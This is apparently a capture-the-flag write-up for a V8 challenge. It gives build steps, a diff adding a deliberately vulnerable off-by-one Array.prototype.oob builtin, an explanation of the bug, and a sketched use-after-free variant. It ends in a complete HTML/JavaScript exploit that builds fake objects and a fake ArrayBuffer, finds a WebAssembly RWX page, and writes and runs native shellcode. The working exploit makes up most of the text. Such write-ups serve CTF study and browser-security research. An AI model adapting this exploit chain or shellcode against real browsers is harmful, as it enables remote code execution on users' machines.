fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
Simply add Array.prototype.oob
method to existing V8 source code.
Commit is quite recent one, so, using 1-day exploit is unfeasible.
Let's analyze the vulnerability :)
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
This is internal of Builtin OOB function.
This can perform Read/Write operations by using like a.oob()
and a.oob(1.1)
.
The problem is, it directly use length value to element's backing_store for read and write operations, which is root-cause of off-by-one vulnerability.
let a = [1.1, 2.2];
let b = [1.1, 2.2];
// off-by-one read
console.log(a.oob())
// off-by-one write
a.oob(1.1);
So, we have off-by-one now, and we can think 2 ways to exploit.
One is that by setting memory layouts like | A's element | A's object |
, and modify A's object map to trigger type confusion.
Basically, Every V8 Objects have map
which represent current object's shape.
This member is placed at first of Object's class.
So, it's possible to overwrite some object's map by using off-by-one write vulnerability.
Another method is quite unstable, but possible to exploit this vulnerability.
At first glance, length
and element
are cached.
And look following code importantly.
Object::ToNumber(isolate, args.at<Object>(1))
Object::ToNumber
references Object's [Symbol.toPrimitive]
.
So, if we install custom callback to some object's [Symbol.toPrimitive]
which do free current array and spray some array objects, we can modify newly allocated object's length property.
let a = [1.1, 2.2, 3.3, 4.4];
let storage = [];
let obj = {
[Symbol.toPrimitive](hint) {
a = null;
gc();
gc();
gc();
for(let i = 0 ; i < 1000; i++) {
storage.push([1.1, 2.2, 3.3, 4.4]);
}
return 0x1000;
}
}
a.oob(obj);
We can trigger UAF code like above, but already said, quite unstable.
So, it's not a good way and i think this way is not intended solution for this vulnerability.
The intended solution for this challenge is first one, as i think :)
V8 Array shape is move from int to double and double to object, these kind of informations are stored in Object's map.
So, if we modify object's map to other shape, it is easy to trigger type confusion vulnerability.
For example, if we modify object array's map to unboxed double array's map, we can see all of array's member as double value.
And, if we modify unboxed double array's map to object array's map, double value is regarded as object's pointer, so we can construct fake object easily :)
<html>
<pre id="log"></pre>
<script>
function print(string) {
var log = document.getElementById('log');
if (log) {
log.innerText += string + '\n';
}
}
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "-00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
function addr(ll) {
return ll[0];
}
let storage = [];
let obj = {};
let map_unbox = undefined;
let map_box = undefined;
let ab = new ArrayBuffer(0x1000);
let fake_arraybuffer = [
// fake arraybuffer
// map | prop
u2d(0x41414141, 0x41414141), u2d(0, 0),
// elem | size
u2d(0, 0), u2d(0x1000, 0),
// backing_store | 2
u2d(0x41414141, 0x41414141), u2d(0x2, 0),
u2d(0, 0), u2d(0, 0),
// fake map
u2d(0, 0), u2d(0x19080808, 0x19000423),
u2d(0x82003ff, 0), u2d(0, 0),
u2d(0, 0), u2d(0, 0),
u2d(0, 0), u2d(0, 0),
].slice(0);
let strings = "/flag\x00aaaabbbbccccddddeeeeffff";
strings.length = 0x100;
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let string_addr = null;
var shellcode = new Uint32Array(21);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
gc();
gc();
gc();
let av = u2d(0x41414141, 0x41414141);
let bv = u2d(0x42424242, 0x42424242);
let cv = u2d(0x43434343, 0x43434343);
let a = [av, av, av, av, av, av];
let b = [fake_arraybuffer, f, ab, strings, bv, bv];
let c = [cv, cv, cv, cv, cv, cv];
a = a.slice(0);
b = b.slice(0);
c = c.slice(0);
map_unbox = d2u(a.oob());
map_box = [map_unbox[0] + 160, map_unbox[1]];
print("unboxed map : " + hex(map_unbox[0], map_unbox[1]));
print("boxed map : " + hex(map_box[0], map_box[1]));
b.oob(u2d(map_unbox[0], map_unbox[1]));
string_addr = d2u(b[3]);
print("string addr : " + hex(string_addr[0], string_addr[1]));
let wasm_addr = d2u(b[1]);
print("wasm : " + hex(wasm_addr[0], wasm_addr[1]));
fake_arraybuffer[4] = u2d(wasm_addr[0] - 1, wasm_addr[1]);
let fake_arraybuffer_addr = d2u(b[0]);
print("fake arraybuffer : " + hex(fake_arraybuffer_addr[0] - 0x80, fake_arraybuffer_addr[1]));
print("fake arraybuffer map : " + hex(fake_arraybuffer_addr[0] - 0x40, fake_arraybuffer_addr[1]));
fake_arraybuffer[0] = u2d(fake_arraybuffer_addr[0] - 0x40, fake_arraybuffer_addr[1]);
// make fake !!
let type_confusion = [u2d(fake_arraybuffer_addr[0] - 0x80 + 0x40, fake_arraybuffer_addr[1]), av, av, av, av, av].slice(0);
type_confusion.oob(u2d(map_box[0], map_box[1]));
let dv = new DataView(type_confusion[0]);
let lo = dv.getUint32(0x18, true);
let hi = dv.getUint32(0x18 + 4, true);
print("fucntion obj : " + hex(lo, hi));
// for my local
//fake_arraybuffer[4] = u2d(lo - 1 - 312, hi);
for(let i = 0; i < 100; i++) {
fake_arraybuffer[4] = u2d(lo - 1 - 0x180 + (i * 8), hi);
_lo = dv.getUint32(0, true);
_hi = dv.getUint32(4, true);
if (_hi != 0 && (_lo & 0xfff) == 0) {
print("find");
lo = _lo;
hi = _hi;
break;
}
}
fake_arraybuffer[4] = u2d(lo, hi);
print("rwx page : " + hex(lo, hi));
for(let i = 0; i < shellcode.length; i++) {
dv.setUint32(i * 4, shellcode[i], true);
}
// got !
f(1, 2);
alert("pwned");
</script>
</html>